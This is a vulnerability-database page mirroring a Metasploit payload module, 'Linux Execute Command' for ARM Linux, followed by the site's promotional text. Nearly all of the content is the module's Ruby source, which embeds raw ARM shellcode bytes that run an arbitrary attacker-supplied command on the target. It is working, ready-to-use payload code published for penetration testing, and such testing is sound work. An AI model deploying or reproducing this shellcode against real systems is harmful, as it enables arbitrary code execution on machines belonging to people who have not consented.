Lucene search
K

Linux Execute Command

🗓️ 25 Aug 2010 21:44:33Reported by Jonathan SalwanType 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

Linux Execute Command module to execute arbitrary commands

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module MetasploitModule

  CachedSize = 29

  include Msf::Payload::Single
  include Msf::Payload::Linux::Armle::Prepends

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Execute Command',
      'Description'   => 'Execute an arbitrary command',
      'Author'        => 'Jonathan Salwan',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_ARMLE))

    register_options(
      [
        OptString.new('CMD',  [ true,  "The command string to execute" ]),
      ])
  end

  def generate(opts={})
    cmd     = datastore['CMD'] || ''

    payload =
      "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" +
      "\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2025 14:31Current
7.5High risk
Vulners AI Score7.5
31